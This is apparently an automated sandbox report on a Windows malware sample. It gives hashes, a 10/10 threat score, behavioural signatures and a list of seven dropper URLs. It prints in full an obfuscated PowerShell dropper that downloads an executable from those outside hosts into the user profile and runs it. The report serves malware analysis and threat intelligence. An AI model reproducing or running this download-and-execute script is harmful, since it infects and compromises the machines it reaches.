General

  • Target

    96b2db5c78b44df39dc9e5e9f0bc6d03_JaffaCakes118

  • Size

    176KB

  • Sample

    240605-abgqragf57

  • MD5

    96b2db5c78b44df39dc9e5e9f0bc6d03

  • SHA1

    60aac296a751c4ca26784bf09c13f0a1feb27b1a

  • SHA256

    2111e686944a54f955abb3629f1c0ea08c05a3f1dd451181a8612dbcf4e25cc6

  • SHA512

    2d736a43fef03d0fd51a72329c0e430a1c3d576f7cfee8ee08a1bf83112d1933a362f4371c4a65ecf51ffb5a558d00beee5a6cad5d8cd9dae506e44f6d4049fa

  • SSDEEP

    1536:trdi1Ir77zOH98Wj2gpngx+a97GmLtHAL:trfrzOH98ipg/FAL

Score
10/10

Malware Config

Extracted

Language
ps1
Source
1
$Nlp7jzj=('Uz'+('li'+'p6a'));.('new-it'+'e'+'m') $env:USerPROfilE\Z1hF13C\jQ8M_45\ -itemtype DIRectOry;[Net.ServicePointManager]::"S`e`Cu`RitYPRoToc`Ol" = (('tls1'+'2')+(', t'+'ls'+'11')+(', t'+'l')+'s');$K7p72pz = ('R'+'u'+('6ojr1i'+'r'));$Bdljqwb=(('Jp'+'_')+('4'+'ukr'));$Ztmquiw=$env:userprofile+(('So'+'5'+('Z'+'1hf1'+'3'+'cSo5'+'Jq'+'8m_45S')+'o5')."r`epl`ACe"(('S'+'o5'),[strING][CHaR]92))+$K7p72pz+('.'+('e'+'xe'));$Jar5gtp=(('Rp9'+'q2'+'c')+'w');$Lf3ppwf=&('n'+'ew'+'-objec'+'t') NeT.WebCLIeNT;$Koe1e52=(('http'+'s:')+('//h'+'a'+'ikou')+('weix'+'u')+('n'+'.c'+'om/j')+('n'+'5/')+'R'+('bp'+'/')+('*h'+'t')+('tp'+'://car'+'oli')+'n'+('ac'+'a'+'nul')+('lo'+'.')+('com'+'/j'+'s/h'+'llP'+'T/*ht')+'t'+('p:'+'//m')+'e'+'g'+('a'+'so'+'lucoes')+'t'+('i.com/R'+'9K')+('Dq0O8w'+'/B'+'3')+('K'+'qPpe/*')+'h'+('ttp'+':')+('//'+'w')+('w'+'w.')+('i'+'nsul')+'u'+'ti'+('o'+'n.org')+'/w'+'p-'+'a'+('dm'+'i')+'n'+'/s'+('w'+'if')+('t/'+'swift')+'/'+('y31'+'8L')+('G'+'M/*http'+':/'+'/')+('pet'+'a')+'f'+('i'+'lm.')+'c'+('om/calenda'+'r/'+'6')+'k'+('Opwrt/'+'*'+'h')+'t'+('t'+'p'+'s://')+'d'+'e'+('v.contr'+'actd'+'evs.'+'co')+'.u'+('k/'+'h')+'b'+('bny/'+'K'+'v9/'+'*')+('ht'+'tp')+('://'+'bl')+'o'+'g.'+('p'+'enmm'+'an.co'+'m')+('/wp-c'+'o'+'nt')+'e'+('nt/'+'u')+('p'+'lo')+('ads/1EC'+'bn9'+'K')+'/')."sP`lit"([char]42);$Kswf5sj=(('F_sw'+'5')+'7a');foreach($Fno5eqw in $Koe1e52){try{$Lf3ppwf."Do`wnL`oaDfi`Le"($Fno5eqw, $Ztmquiw);$Xgdz2xv=(('Rhva'+'zw')+'z');If ((.('Ge'+'t-Item') $Ztmquiw)."len`gtH" -ge 25880) {.('In'+'vok'+'e-It'+'em')($Ztmquiw);$Uocyli6=('Ux'+('ha5'+'k5'));break;$Jtv08q3=('B'+('rw'+'9iav'))}}catch{}}$F3bs99w=('G9'+'0a'+('ot'+'5'))
URLs
exe.dropper

https://haikouweixun.com/jn5/Rbp/

exe.dropper

http://carolinacanullo.com/js/hllPT/

exe.dropper

http://megasolucoesti.com/R9KDq0O8w/B3KqPpe/

exe.dropper

http://www.insulution.org/wp-admin/swift/swift/y318LGM/

exe.dropper

http://petafilm.com/calendar/6kOpwrt/

exe.dropper

https://dev.contractdevs.co.uk/hbbny/Kv9/

exe.dropper

http://blog.penmman.com/wp-content/uploads/1ECbn9K/

Targets

    • Target

      96b2db5c78b44df39dc9e5e9f0bc6d03_JaffaCakes118

    • Size

      176KB

    • MD5

      96b2db5c78b44df39dc9e5e9f0bc6d03

    • SHA1

      60aac296a751c4ca26784bf09c13f0a1feb27b1a

    • SHA256

      2111e686944a54f955abb3629f1c0ea08c05a3f1dd451181a8612dbcf4e25cc6

    • SHA512

      2d736a43fef03d0fd51a72329c0e430a1c3d576f7cfee8ee08a1bf83112d1933a362f4371c4a65ecf51ffb5a558d00beee5a6cad5d8cd9dae506e44f6d4049fa

    • SSDEEP

      1536:trdi1Ir77zOH98Wj2gpngx+a97GmLtHAL:trfrzOH98ipg/FAL

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Blocklisted process makes network request

    • Drops file in System32 directory

MITRE ATT&CK Enterprise v15

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.